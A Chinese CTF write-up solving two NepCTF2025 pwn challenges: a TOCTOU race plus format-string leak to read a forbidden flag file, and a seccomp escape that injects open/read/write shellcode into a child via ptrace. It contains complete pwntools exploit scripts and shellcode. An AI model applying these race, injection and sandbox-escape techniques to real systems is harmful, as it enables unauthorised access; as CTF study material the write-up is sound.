NepCTF2025-PWN方向做题笔记 Time 解题思路 题目存在一个非栈上的格式化字符串漏洞,并利用pthread_create()开启一个子线程。
以下是 IDA 中题目main()源码(重命名了一些函数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void __fastcall __noreturn main (int a1, char **a2, char **a3) { pthread_t newthread[2 ]; newthread[1 ] = __readfsqword(0x28u ); setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); input_name(); while ( 1 ) { while ( !(unsigned int )input_file_name() ) ; pthread_create(newthread, 0LL , (void *(*)(void *))start_routine, 0LL ); } }
input_file_name(),读入输入数据到 变量file里,并检查file的子串中是否包含flag,包含flag就返回 1 不进入子线程。
1 2 3 4 5 6 7 8 9 __int64 input_file_name () { puts ("input file name you want to read:" ); __isoc99_scanf("%s" , file); if ( !strstr (file, "flag" ) ) return 1LL ; puts ("flag is not allowed!" ); return 0LL ; }
start_routine()在子线程中运行,会先计算 我们输入的文件名 的 MD5值,接着会打开file,打开成功即文件存在,会读入文件内容到 栈上buf,关闭文件,接着就是格式化字符串漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 unsigned __int64 __fastcall start_routine (void *rdi0) { unsigned int n; int i; int j; int fd; _DWORD a1[24 ]; _BYTE v7[16 ]; _BYTE buf[1000 ]; unsigned __int64 v9; v9 = __readfsqword(0x28u ); sub_1329(a1); n = strlen (file); sub_1379(a1, file, n); sub_14CB(a1, v7); puts ("I will tell you last file name content in md5:" ); for ( i = 0 ; i <= 15 ; ++i ) printf ("%02X" , (unsigned __int8)v7[i]); putchar (10 ); for ( j = 0 ; j <= 999 ; ++j ) buf[j] = 0 ; fd = open(file, 0 ); if ( fd >= 0 ) { read(fd, buf, 0x3E8u LL); close(fd); printf ("hello " ); printf (format_0); puts (" ,your file read done!" ); } else { puts ("file not found!" ); } return v9 - __readfsqword(0x28u ); }
main()会读入输入的file,再进行检查,然后 子线程中的start_routine()会打开 file,读入文件内容到栈上。
题目中存在一个关键点是,子线程中的start_routine()会先计算我们输入数据的MD5值,再打开file,这就会使子线程打开文件并读入file的时刻延后。
利用这一关键点的方法就是第一次输入file时,输入可以通过的文件名,接着main()就会开启子线程,在子线程中进入start_routine(),并计算file的MD5值,就在这一段开启线程和计算MD5值的短时间里,我们其实还在input_file_name() ,如果在这个短时间内,在input_file_name()里快速又输入flag,就有可能实现在open前替换file为flag
这里借用zer00ne 师傅的图帮助理解:
最直观的理解就是当你第一次输入文件名后,程序马上又问了你一次 input file name you want to read:,然后才进入子线程,打印了I will tell you last file name content in md5:
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("nepctf30-lo1q-bkvj-9s19-1de7cypq4949.nepctf.com" , 443 , ssl=True , sni="nepctf30-lo1q-bkvj-9s19-1de7cypq4949.nepctf.com" ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() name = f"%{12 +9 } $p" .encode() for i in range (10 ): name += f"-%{13 +9 +i} $p" .encode() sla(b"name:\n" , name) sla(b"input file name you want to read:\n" , b"time" ) sla(b"input file name you want to read:\n" , b"flag" ) ia()
将得到的flag解码,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 def hex_to_string (hex_data ): result = b"" for val in hex_data: num = int (val, 16 ) byte_len = (num.bit_length() + 7 ) // 8 b = num.to_bytes(byte_len, byteorder='little' ) result += b return result.decode(errors='replace' ) hex_data = [ "0x2bc422698ba00f71" , "0x627b46544370654e" , "0x2d31646661316536" , "0x3062372d62306464" , "0x382d313837352d61" , "0x3666373263313263" , "0xa7d383564" ] print (hex_to_string(hex_data))
smallbox 解题思路 main()就是先开启了一个子进程,然后让它陷入死循环,接着读入shellcode,打开沙箱,执行shellcode
这个沙箱还是我第一次见,只允许系统调用ptrace()的沙箱
1 2 3 4 5 6 7 8 9 10 ╭─icyice@icyice-virtual-machine ~/Desktop/nepctf2025/smallbox ╰─$ seccomp-tools dump ./smallbox [+] please input your shellcode: line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x06 0x00 0x00 0x00000000 return KILL
先简单了解一下ptrace()
1 long ptrace (enum __ptrace_request request, pid_t pid, void *addr, void *data) ;
作用:
编写动态分析工具,如 gdb ,strace
反追踪,一个进程只能被一个进程追踪(注:一个进程能同时追踪多个进程 ),若此进程已被追踪,其他基于ptrace的追踪器将无法再追踪此进程,更进一步可以实现子母进程双线执行动态解密代码等更高级的反分析技术
代码注入,往其他进程里注入代码。
参数
含义
request
请求类型
pid
被调试进程的 PID
addr
地址参数(依赖于请求类型)
data
数据参数(依赖于请求类型)
常见的请求宏
宏名
描述
PTRACE_TRACEME
表示自己要被父进程调试(子进程调用)
PTRACE_PEEKDATA/PTRACE_PEEKUSER
读取数据或用户区(寄存器)
PTRACE_POKEDATA/PTRACE_POKEUSER
写入数据或用户区(寄存器)
PTRACE_GETREGS/PTRACE_SETREGS
获取或设置所有通用寄存器(x86、x86_64)
PTRACE_CONT
继续执行被暂停的子进程
PTRACE_SINGLESTEP
单步执行
PTRACE_ATTACH
附加到一个正在运行的进程(类似 GDB attach)
PTRACE_DETACH
从目标进程分离,目标继续运行
PTRACE_SYSCALL
每次系统调用前暂停目标,常用于 syscall hook
PTRACE_KILL
杀死被调试进程
PTRACE_SEIZE
非侵入式 attach,用于新型调试接口
PTRACE_INTERRUPT
中断目标(常用于 SEIZE 模式)
想要使用相应的请求宏就需要知道它们对应的编号
常见 PTRACE 请求及其对应编号
宏名称
数值
描述说明
PTRACE_TRACEME
0
子进程调用,声明“我希望被父进程调试”
PTRACE_PEEKTEXT
1
读取代码区(只读)
PTRACE_PEEKDATA
2
读取数据区(只读)
PTRACE_PEEKUSER
3
读取用户结构区(寄存器等)
PTRACE_POKETEXT
4
写入代码区(只写)
PTRACE_POKEDATA
5
写入数据区(只写)
PTRACE_POKEUSER
6
写入用户结构区(寄存器)
PTRACE_CONT
7
让子进程继续执行
PTRACE_KILL
8
杀死被调试进程
PTRACE_SINGLESTEP
9
单步执行一条指令
PTRACE_GETREGS
12
获取通用寄存器
PTRACE_SETREGS
13
设置通用寄存器
PTRACE_ATTACH
16
附加到一个正在运行的进程
PTRACE_DETACH
17
分离调试器,目标进程恢复执行
PTRACE_SYSCALL
24
在每次 syscall 前后中断
PTRACE_SETOPTIONS
0x4200
设置调试选项(如跟踪子进程)
PTRACE_GETEVENTMSG
0x4201
获取上次 wait 状态事件消息
PTRACE_GETSIGINFO
0x4202
获取信号信息
PTRACE_SETSIGINFO
0x4203
设置信号信息
PTRACE_GETREGSET
0x4204
获取多组寄存器
PTRACE_SETREGSET
0x4205
设置多组寄存器
PTRACE_SEIZE
0x4206
非侵入 attach(不暂停目标)
PTRACE_INTERRUPT
0x4207
暂停目标进程
PTRACE_LISTEN
0x4208
等待子进程停止
PTRACE_PEEKSIGINFO
0x4209
获取信号队列的信息
这道题目就需要我们将父进程附加到子进程上,将父进程不能执行的shellcode注入子进程里,注意要修改子进程的RIP为0xDEADC0DE000,最后是父进程脱离子进程,这样以后子进程就会开始执行父进程注入的shellcode
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = process('./smallbox' ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() shellcode = asm("mov r14d, dword ptr [rbp-0xc]" ) shellcode += asm(shellcraft.ptrace(16 ,"r14" )) shellcode += asm( ''' mov rcx, 0x10000000 loop: sub rcx, 1 test rcx, rcx jnz loop ''' ) shellcode += asm(shellcraft.ptrace(12 , "r14" , 0 , 0xDEADC0DE500 )) shellcode += asm("mov rsp, 0xDEADC0DE588; mov rax, 0xDEADC0DE000; push rax; mov rsp, 0xDEADC0DE800" ) shellcode += asm(shellcraft.ptrace(5 , "r14" , 0xDEADC0DE000 , 0x010101010101b848 )) shellcode += asm(shellcraft.ptrace(5 , "r14" , 0xDEADC0DE008 , 0x672e2fb848500101 )) shellcode += asm(shellcraft.ptrace(5 , "r14" , 0xDEADC0DE010 , 0x043148010166606d )) shellcode += asm(shellcraft.ptrace(5 , "r14" , 0xDEADC0DE018 , 0xf631d231e7894824 )) shellcode += asm(shellcraft.ptrace(5 , "r14" , 0xDEADC0DE020 , 0x01ba41050f58026a )) shellcode += asm(shellcraft.ptrace(5 , "r14" , 0xDEADC0DE028 , 0x0301f28141010102 )) shellcode += asm(shellcraft.ptrace(5 , "r14" , 0xDEADC0DE030 , 0x6ad2315f016a0101 )) shellcode += asm(shellcraft.ptrace(5 , "r14" , 0xDEADC0DE038 , 0x00050f58286a5e03 )) ''' orw 0xdeadc0de000: 0x010101010101b848 0x672e2fb848500101 0xdeadc0de010: 0x043148010166606d 0xf631d231e7894824 0xdeadc0de020: 0x01ba41050f58026a 0x0301f28141010102 0xdeadc0de030: 0x6ad2315f016a0101 0x00050f58286a5e03 ''' shellcode += asm(shellcraft.ptrace(13 , "r14" , 0 , 0xDEADC0DE500 )) shellcode += asm(shellcraft.ptrace(17 , "r14" , 0 ,0 )) shellcode += asm("jmp $" ) ru(b"please input your shellcode:" ) s(shellcode) ia()